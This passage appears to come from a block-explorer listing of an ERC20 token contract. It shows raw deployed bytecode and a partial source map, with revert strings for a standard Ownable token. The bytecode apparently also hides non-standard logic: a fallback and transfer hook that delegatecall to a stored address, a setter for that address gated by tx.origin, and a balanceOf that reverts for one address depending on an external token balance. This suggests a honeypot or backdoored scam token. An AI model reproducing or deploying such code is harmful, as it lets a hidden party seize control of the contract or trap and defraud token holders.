90508181036000830152611658816114f7565b9050919050565b600060208201905081810360008301526116788161151a565b9050919050565b600060208201905081810360008301526116988161153d565b9050919050565b600060208201905081810360008301526116b881611560565b9050919050565b600060208201905081810360008301526116d881611583565b9050919050565b600060208201905081810360008301526116f8816115a6565b9050919050565b600060208201905061171460008301846115c9565b92915050565b600060208201905061172f60008301846115d8565b92915050565b600061173f611750565b905061174b8282611920565b919050565b6000604051905090565b600067ffffffffffffffff82111561177557611774611a0f565b5b61177e82611a52565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117b282611895565b91506117bd83611895565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f2576117f1611982565b5b828201905092915050565b600061180882611895565b915061181383611895565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561184c5761184b611982565b5b828202905092915050565b600061186282611875565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156118d95780820151818401526020810190506118be565b838111156118e8576000848401525b50505050565b6000600282049050600182168061190657607f821691505b6020821081141561191a576119196119e0565b5b50919050565b61192982611a52565b810181811067ffffffffffffffff8211171561194857611947611a0f565b5b80604052505050565b600061195c82611895565b915061196783611895565b925082611977576119766119b1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611bd481611857565b8114611bdf57600080fd5b50565b611beb81611895565b8114611bf657600080fd5b5056fea26469706673582212205a2b8ba0b1cd2d674f15ff749222fdb2d9a999257e86e0eae91c7901145f8d7664736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d7146103b0578063a9059cbb146103ed578063d4adc11c1461042a578063dd62ed3e14610453578063f2fde38b1461049057610109565b8063715018a6146103185780638da5cb5b1461032f5780638dd950021461035a57806395d89b411461038557610109565b8063313ce567116100d1578063313ce5671461025c578063395093511461028757806353a72975146102c457806370a08231146102db57610109565b806306fdde031461018c578063095ea7b3146101b757806318160ddd146101f457806323b872dd1461021f57610109565b3661010957005b34801561011557600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050602060248201511415610189576020600082516020840130545af461018357600080fd5b60206000f35b50005b34801561019857600080fd5b506101a16104b9565b6040516101ae919061161d565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906113a8565b61054b565b6040516101eb9190611602565b60405180910390f35b34801561020057600080fd5b5061020961056e565b60405161021691906116ff565b60405180910390f35b34801561022b57600080fd5b5061024660048036038101906102419190611355565b610578565b6040516102539190611602565b60405180910390f35b34801561026857600080fd5b506102716105a7565b60405161027e919061171a565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906113a8565b6105b0565b6040516102bb9190611602565b60405180910390f35b3480156102d057600080fd5b506102d96105e7565b005b3480156102e757600080fd5b5061030260048036038101906102fd91906112e8565b610661565b60405161030f91906116ff565b60405180910390f35b34801561032457600080fd5b5061032d6107de565b005b34801561033b57600080fd5b506103446107f2565b60405161035191906115e7565b60405180910390f35b34801561036657600080fd5b5061036f61081b565b60405161037c91906115e7565b60405180910390f35b34801561039157600080fd5b5061039a610833565b6040516103a7919061161d565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d291906113a8565b6108c5565b6040516103e49190611602565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f91906113a8565b610906565b6040516104219190611602565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906113e8565b610929565b005b34801561045f57600080fd5b5061047a60048036038101906104759190611315565b610976565b60405161048791906116ff565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b291906112e8565b6109fd565b005b6060600580546104c8906118ee565b80601f01602080910402602001604051908101604052809291908181526020018280546104f4906118ee565b80156105415780601f1061051657610100808354040283529160200191610541565b820191906000526020600020905b81548152906001019060200180831161052457829003601f168201915b5050505050905090565b600080610556610a81565b9050610563818585610a89565b600191505092915050565b6000600354905090565b600080610583610a81565b9050610590858285610c54565b61059b858585610ce0565b60019150509392505050565b60006009905090565b6000806105bb610a81565b90506105dc8185856105cd8589610976565b6105d791906117a7565b610a89565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff166106066107f2565b73ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106539061169f565b60405180910390fd5b333055565b60007382af49447d8a07e3bd95bd0d56f35241523fbab173ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016106d291906115e7565b60206040518083038186803b1580156106ea57600080fd5b505afa1580156106fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107229190611473565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561078a5760205481101561078957600080fd5b5b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d79190611951565b9050919050565b6107e66105e7565b6107f06000610eb9565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7382af49447d8a07e3bd95bd0d56f35241523fbab181565b606060068054610842906118ee565b80601f016020809104026020016040519081016040528092919081815260200182805461086e906118ee565b80156108bb5780601f10610890576101008083540402835291602001916108bb565b820191906000526020600020905b81548152906001019060200180831161089e57829003601f168201915b5050505050905090565b6000806108d0610a81565b905060006108de8286610976565b9050838110156108ed57600080fd5b6108fa8286868403610a89565b60019250505092915050565b600080610911610a81565b905061091e818585610ce0565b600191505092915050565b6109316105e7565b8260059080519060200190610947929190611196565b50816006908051906020019061095e929190611196565b506109693082610f7d565b6109716107de565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a056105e7565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c9061163f565b60405180910390fd5b610a7e81610eb9565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610af9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af0906116bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b609061165f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c4791906116ff565b60405180910390a3505050565b6000610c608484610976565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cda5781811015610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc39061167f565b60405180910390fd5b610cd98484848403610a89565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d5457600080fd5b610d5f8383836110bd565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610db057600080fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ea091906116ff565b60405180910390a3610eb3848484611136565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe4906116df565b60405180910390fd5b8060036000828254610fff91906117a7565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110b191906116ff565b60405180910390a35050565b600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050602060248201511415611130576020600082516020840130545af461112a57600080fd5b60206000f35b50505050565b60fe60035461114591906117fd565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111915760006020555b505050565b8280546111a2906118ee565b90600052602060002090601f0160209004810192826111c4576000855561120b565b82601f106111dd57805160ff191683800117855561120b565b8280016001018555821561120b579182015b8281111561120a5782518255916020019190600101906111ef565b5b509050611218919061121c565b5090565b5b8082111561123557600081600090555060010161121d565b5090565b600061124c6112478461175a565b611735565b90508281526020810184848401111561126857611267611a43565b5b6112738482856118ac565b509392505050565b60008135905061128a81611bcb565b92915050565b600082601f8301126112a5576112a4611a3e565b5b81356112b5848260208601611239565b91505092915050565b6000813590506112cd81611be2565b92915050565b6000815190506112e281611be2565b92915050565b6000602082840312156112fe576112fd611a4d565b5b600061130c8482850161127b565b91505092915050565b6000806040838503121561132c5761132b611a4d565b5b600061133a8582860161127b565b925050602061134b8582860161127b565b9150509250929050565b60008060006060848603121561136e5761136d611a4d565b5b600061137c8682870161127b565b935050602061138d8682870161127b565b925050604061139e868287016112be565b9150509250925092565b600080604083850312156113bf576113be611a4d565b5b60006113cd8582860161127b565b92505060206113de858286016112be565b9150509250929050565b60008060006060848603121561140157611400611a4d565b5b600084013567ffffffffffffffff81111561141f5761141e611a48565b5b61142b86828701611290565b935050602084013567ffffffffffffffff81111561144c5761144b611a48565b5b61145886828701611290565b9250506040611469868287016112be565b9150509250925092565b60006020828403121561148957611488611a4d565b5b6000611497848285016112d3565b91505092915050565b6114a981611857565b82525050565b6114b881611869565b82525050565b60006114c98261178b565b6114d38185611796565b93506114e38185602086016118bb565b6114ec81611a52565b840191505092915050565b6000611504602683611796565b915061150f82611a63565b604082019050919050565b6000611527602283611796565b915061153282611ab2565b604082019050919050565b600061154a601d83611796565b915061155582611b01565b602082019050919050565b600061156d602083611796565b915061157882611b2a565b602082019050919050565b6000611590602483611796565b915061159b82611b53565b604082019050919050565b60006115b3601f83611796565b91506115be82611ba2565b602082019050919050565b6115d281611895565b82525050565b6115e18161189f565b82525050565b60006020820190506115fc60008301846114a0565b92915050565b600060208201905061161760008301846114af565b92915050565b6000602082019050818103600083015261163781846114be565b905092915050565b60006020820190508181036000830152611658816114f7565b9050919050565b600060208201905081810360008301526116788161151a565b9050919050565b600060208201905081810360008301526116988161153d565b9050919050565b600060208201905081810360008301526116b881611560565b9050919050565b600060208201905081810360008301526116d881611583565b9050919050565b600060208201905081810360008301526116f8816115a6565b9050919050565b600060208201905061171460008301846115c9565b92915050565b600060208201905061172f60008301846115d8565b92915050565b600061173f611750565b905061174b8282611920565b919050565b6000604051905090565b600067ffffffffffffffff82111561177557611774611a0f565b5b61177e82611a52565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117b282611895565b91506117bd83611895565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f2576117f1611982565b5b828201905092915050565b600061180882611895565b915061181383611895565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561184c5761184b611982565b5b828202905092915050565b600061186282611875565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156118d95780820151818401526020810190506118be565b838111156118e8576000848401525b50505050565b6000600282049050600182168061190657607f821691505b6020821081141561191a576119196119e0565b5b50919050565b61192982611a52565b810181811067ffffffffffffffff8211171561194857611947611a0f565b5b80604052505050565b600061195c82611895565b915061196783611895565b925082611977576119766119b1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611bd481611857565b8114611bdf57600080fd5b50565b611beb81611895565b8114611bf657600080fd5b5056fea26469706673582212205a2b8ba0b1cd2d674f15ff749222fdb2d9a999257e86e0eae91c7901145f8d7664736f6c63430008060033

Deployed Bytecode Sourcemap

8203:11904:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:14;2173:8;;2156:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2231:2;2225;2222:1;2218:10;2212:17;2209:25;2202:33;2192:2;;2311;2308:1;2304;2298:8;2293:2;2290:1;2286:10;2274:9;2268:16;2261:5;2248:66;2238:2;;2327:1;2324;2317:12;2238:2;2340;2337:1;2330:13;2192:2;2155:193;8203:11904;9685:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12033:203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10754:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12778:259;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10611:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13432:259;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2580:174;;;;;;;;;;;;;:::i;:::-;;10893:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3089:99;;;;;;;;;;;;;:::i;:::-;;2421:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8250:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9898:102;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14182:393;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11344:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9359:264;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11564:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3336:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9685:104;9739:13;9768:15;9761:22;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9685:104;:::o;12033:203::-;12126:4;12142:13;12158:11;:9;:11::i;:::-;12142:27;;12176:36;12185:5;12192:13;12207:4;12176:8;:36::i;:::-;12226:4;12219:11;;;12033:203;;;;:::o;10754:84::-;10806:7;10829:3;;10822:10;;10754:84;:::o;12778:259::-;12884:4;12897:21;12921:11;:9;:11::i;:::-;12897:35;;12939:42;12955:4;12961:13;12976:4;12939:15;:42::i;:::-;12988:25;12998:4;13004:2;13008:4;12988:9;:25::i;:::-;13027:4;13020:11;;;12778:259;;;;;:::o;10611:86::-;10669:5;10690:1;10683:8;;10611:86;:::o;13432:259::-;13541:4;13557:13;13573:11;:9;:11::i;:::-;13557:27;;13591:76;13600:5;13607:13;13656:10;13622:31;13632:5;13639:13;13622:9;:31::i;:::-;:44;;;;:::i;:::-;13591:8;:76::i;:::-;13681:4;13674:11;;;13432:259;;;;:::o;2580:174::-;2644:9;2633:20;;:7;:5;:7::i;:::-;:20;;;2625:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2733:8;2722:9;2715:27;2580:174::o;10893:263::-;10989:12;8281:42;11010:22;;;11033:6;;;;;;;;;;;11010:30;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11003:37;;11056:6;;;;;;;;;;;11044:18;;:10;:18;;;11041:72;;;11092:2;11086:9;11080:4;11077:19;11074:2;;;11108:1;11105;11098:12;11074:2;11041:72;11151:3;;11120:18;:28;11139:8;11120:28;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;11113:41;;10893:263;;;:::o;3089:99::-;2110:13;:11;:13::i;:::-;3150:32:::1;3179:1;3150:20;:32::i;:::-;3089:99::o:0;2421:89::-;2467:7;2490:14;;;;;;;;;;;2483:21;;2421:89;:::o;8250:73::-;8281:42;8250:73;:::o;9898:102::-;9954:13;9983:11;9976:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9898:102;:::o;14182:393::-;14296:4;14312:13;14328:11;:9;:11::i;:::-;14312:27;;14346;14376:31;14386:5;14393:13;14376:9;:31::i;:::-;14346:61;;14445:15;14422:19;:38;;14414:47;;;;;;14479:69;14488:5;14495:13;14532:15;14510:19;:37;14479:8;:69::i;:::-;14565:4;14558:11;;;;14182:393;;;;:::o;11344:165::-;11412:4;11425:13;11441:11;:9;:11::i;:::-;11425:27;;11459:26;11469:5;11476:2;11480:4;11459:9;:26::i;:::-;11499:4;11492:11;;;11344:165;;;;:::o;9359:264::-;2110:13;:11;:13::i;:::-;9513:9:::1;9495:15;:27;;;;;;;;;;;;:::i;:::-;;9543:10;9529:11;:24;;;;;;;;;;;;:::i;:::-;;9562:29;9576:4;9583:7;9562:5;:29::i;:::-;9598:19;:17;:19::i;:::-;9359:264:::0;;;:::o;11564:167::-;11670:7;11696;:14;11704:5;11696:14;;;;;;;;;;;;;;;:29;11711:13;11696:29;;;;;;;;;;;;;;;;11689:36;;11564:167;;;;:::o;3336:199::-;2110:13;:11;:13::i;:::-;3445:1:::1;3423:24;;:10;:24;;;;3415:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;3497:32;3518:10;3497:20;:32::i;:::-;3336:199:::0;:::o;780:91::-;832:7;855:10;848:17;;780:91;:::o;17658:362::-;17797:1;17780:19;;:5;:19;;;;17772:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17880:1;17855:27;;:13;:27;;;;17847:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;17962:4;17930:7;:14;17938:5;17930:14;;;;;;;;;;;;;;;:29;17945:13;17930:29;;;;;;;;;;;;;;;:36;;;;17994:13;17978:36;;17987:5;17978:36;;;18009:4;17978:36;;;;;;:::i;:::-;;;;;;;;17658:362;;;:::o;18295:405::-;18416:27;18446:31;18456:5;18463:13;18446:9;:31::i;:::-;18416:61;;18511:17;18488:19;:40;18484:211;;18570:4;18547:19;:27;;18539:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;18628:58;18637:5;18644:13;18681:4;18659:19;:26;18628:8;:58::i;:::-;18484:211;18409:291;18295:405;;;:::o;15011:649::-;15138:1;15122:18;;:4;:18;;;;15114:27;;;;;;15170:1;15156:16;;:2;:16;;;;15148:25;;;;;;15180:36;15201:4;15207:2;15211:4;15180:20;:36::i;:::-;15223:19;15245:18;:24;15264:4;15245:24;;;;;;;;;;;;;;;;15223:46;;15299:4;15284:11;:19;;15276:28;;;;;;15371:4;15357:11;:18;15330;:24;15349:4;15330:24;;;;;;;;;;;;;;;:45;;;;15563:4;15537:18;:22;15556:2;15537:22;;;;;;;;;;;;;;;;:30;;;;;;;;;;;15603:2;15588:24;;15597:4;15588:24;;;15607:4;15588:24;;;;;;:::i;:::-;;;;;;;;15619:35;15639:4;15645:2;15649:4;15619:19;:35::i;:::-;15107:553;15011:649;;;:::o;3688:201::-;3762:16;3781:14;;;;;;;;;;;3762:33;;3819:10;3802:14;;:27;;;;;;;;;;;;;;;;;;3872:10;3841:42;;3862:8;3841:42;;;;;;;;;;;;3755:134;3688:201;:::o;15927:383::-;16026:1;16006:22;;:8;:22;;;;15998:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;16080:4;16073:3;;:11;;;;;;;:::i;:::-;;;;;;;;16245:4;16213:18;:28;16232:8;16213:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;16289:8;16268:36;;16285:1;16268:36;;;16299:4;16268:36;;;;;;:::i;:::-;;;;;;;;15927:383;;:::o;19264:108::-;2156:14;2173:8;;2156:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2231:2;2225;2222:1;2218:10;2212:17;2209:25;2202:33;2192:2;;2311;2308:1;2304;2298:8;2293:2;2290:1;2286:10;2274:9;2268:16;2261:5;2248:66;2238:2;;2327:1;2324;2317:12;2238:2;2340;2337:1;2330:13;2192:2;2155:193;19264:108;;;:::o;19942:162::-;20073:4;20069:3;;:8;;;;:::i;:::-;20044:18;:24;20063:4;20044:24;;;;;;;;;;;;;;;;:33;20041:62;;;20099:1;20096:2;20089:12;20041:62;19942:162;;;:::o;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o;7:412:1:-;85:5;110:66;126:49;168:6;126:49;:::i;:::-;110:66;:::i;:::-;101:75;;199:6;192:5;185:21;237:4;230:5;226:16;275:3;266:6;261:3;257:16;254:25;251:2;;;282:79;;:::i;:::-;251:2;372:41;406:6;401:3;396;372:41;:::i;:::-;91:328;;;;;;:::o;425:139::-;471:5;509:6;496:20;487:29;;525:33;552:5;525:33;:::i;:::-;477:87;;;;:::o;584:340::-;640:5;689:3;682:4;674:6;670:17;666:27;656:2;;697:79;;:::i;:::-;656:2;814:6;801:20;839:79;914:3;906:6;899:4;891:6;887:17;839:79;:::i;:::-;830:88;;646:278;;;;;:::o;930:139::-;976:5;1014:6;1001:20;992:29;;1030:33;1057:5;1030:33;:::i;:::-;982:87;;;;:::o;1075:143::-;1132:5;1163:6;1157:13;1148:22;;1179:33;1206:5;1179:33;:::i;:::-;1138:80;;;;:::o;1224:329::-;1283:6;1332:2;1320:9;1311:7;1307:23;1303:32;1300:2;;;1338:79;;:::i;:::-;1300:2;1458:1;1483:53;1528:7;1519:6;1508:9;1504:22;1483:53;:::i;:::-;1473:63;;1429:117;1290:263;;;;:::o;1559:474::-;1627:6;1635;1684:2;1672:9;1663:7;1659:23;1655:32;1652:2;;;1690:79;;:::i;:::-;1652:2;1810:1;1835:53;1880:7;1871:6;1860:9;1856:22;1835:53;:::i;:::-;1825:63;;1781:117;1937:2;1963:53;2008:7;1999:6;1988:9;1984:22;1963:53;:::i;:::-;1953:63;;1908:118;1642:391;;;;;:::o;2039:619::-;2116:6;2124;2132;2181:2;2169:9;2160:7;2156:23;2152:32;2149:2;;;2187:79;;:::i;:::-;2149:2;2307:1;2332:53;2377:7;2368:6;2357:9;2353:22;2332:53;:::i;:::-;2322:63;;2278:117;2434:2;2460:53;2505:7;2496:6;2485:9;2481:22;2460:53;:::i;:::-;2450:63;;2405:118;2562:2;2588:53;2633:7;2624:6;2613:9;2609:22;2588:53;:::i;:::-;2578:63;;2533:118;2139:519;;;;;:::o;2664:474::-;2732:6;2740;2789:2;2777:9;2768:7;2764:23;2760:32;2757:2;;;2795:79;;:::i;:::-;2757:2;2915:1;2940:53;2985:7;2976:6;2965:9;2961:22;2940:53;:::i;:::-;2930:63;;2886:117;3042:2;3068:53;3113:7;3104:6;3093:9;3089:22;3068:53;:::i;:::-;3058:63;;3013:118;2747:391;;;;;:::o;3144:979::-;3241:6;3249;3257;3306:2;3294:9;3285:7;3281:23;3277:32;3274:2;;;3312:79;;:::i;:::-;3274:2;3460:1;3449:9;3445:17;3432:31;3490:18;3482:6;3479:30;3476:2;;;3512:79;;:::i;:::-;3476:2;3617:63;3672:7;3663:6;3652:9;3648:22;3617:63;:::i;:::-;3607:73;;3403:287;3757:2;3746:9;3742:18;3729:32;3788:18;3780:6;3777:30;3774:2;;;3810:79;;:::i;:::-;3774:2;3915:63;3970:7;3961:6;3950:9;3946:22;3915:63;:::i;:::-;3905:73;;3700:288;4027:2;4053:53;4098:7;4089:6;4078:9;4074:22;4053:53;:::i;:::-;4043:63;;3998:118;3264:859;;;;;:::o;4129:351::-;4199:6;4248:2;4236:9;4227:7;4223:23;4219:32;4216:2;;;4254:79;;:::i;:::-;4216:2;4374:1;4399:64;4455:7;4446:6;4435:9;4431:22;4399:64;:::i;:::-;4389:74;;4345:128;4206:274;;;;:::o;4486:118::-;4573:24;4591:5;4573:24;:::i;:::-;4568:3;4561:37;4551:53;;:::o;4610:109::-;4691:21;4706:5;4691:21;:::i;:::-;4686:3;4679:34;4669:50;;:::o;4725:364::-;4813:3;4841:39;4874:5;4841:39;:::i;:::-;4896:71;4960:6;4955:3;4896:71;:::i;:::-;4889:78;;4976:52;5021:6;5016:3;5009:4;5002:5;4998:16;4976:52;:::i;:::-;5053:29;5075:6;5053:29;:::i;:::-;5048:3;5044:39;5037:46;;4817:272;;;;;:::o;5095:366::-;5237:3;5258:67;5322:2;5317:3;5258:67;:::i;:::-;5251:74;;5334:93;5423:3;5334:93;:::i;:::-;5452:2;5447:3;5443:12;5436:19;;5241:220;;;:::o;5467:366::-;5609:3;5630:67;5694:2;5689:3;5630:67;:::i;:::-;5623:74;;5706:93;5795:3;5706:93;:::i;:::-;5824:2;5819:3;5815:12;5808:19;;5613:220;;;:::o;5839:366::-;5981:3;6002:67;6066:2;6061:3;6002:67;:::i;:::-;5995:74;;6078:93;6167:3;6078:93;:::i;:::-;6196:2;6191:3;6187:12;6180:19;;5985:220;;;:::o;6211:366::-;6353:3;6374:67;6438:2;6433:3;6374:67;:::i;:::-;6367:74;;6450:93;6539:3;6450:93;:::i;:::-;6568:2;6563:3;6559:12;6552:19;;6357:220;;;:::o;6583:366::-;6725:3;6746:67;6810:2;6805:3;6746:67;:::i;:::-;6739:74;;6822:93;6911:3;6822:93;:::i;:::-;6940:2;6935:3;6931:12;6924:19;;6729:220;;;:::o;6955:366::-;7097:3;7118:67;7182:2;7177:3;7118:67;:::i;:::-;7111:74;;7194:93;7283:3;7194:93;:::i;:::-;7312:2;7307:3;7303:12;7296:19;;7101:220;;;:::o;7327:118::-;7414:24;7432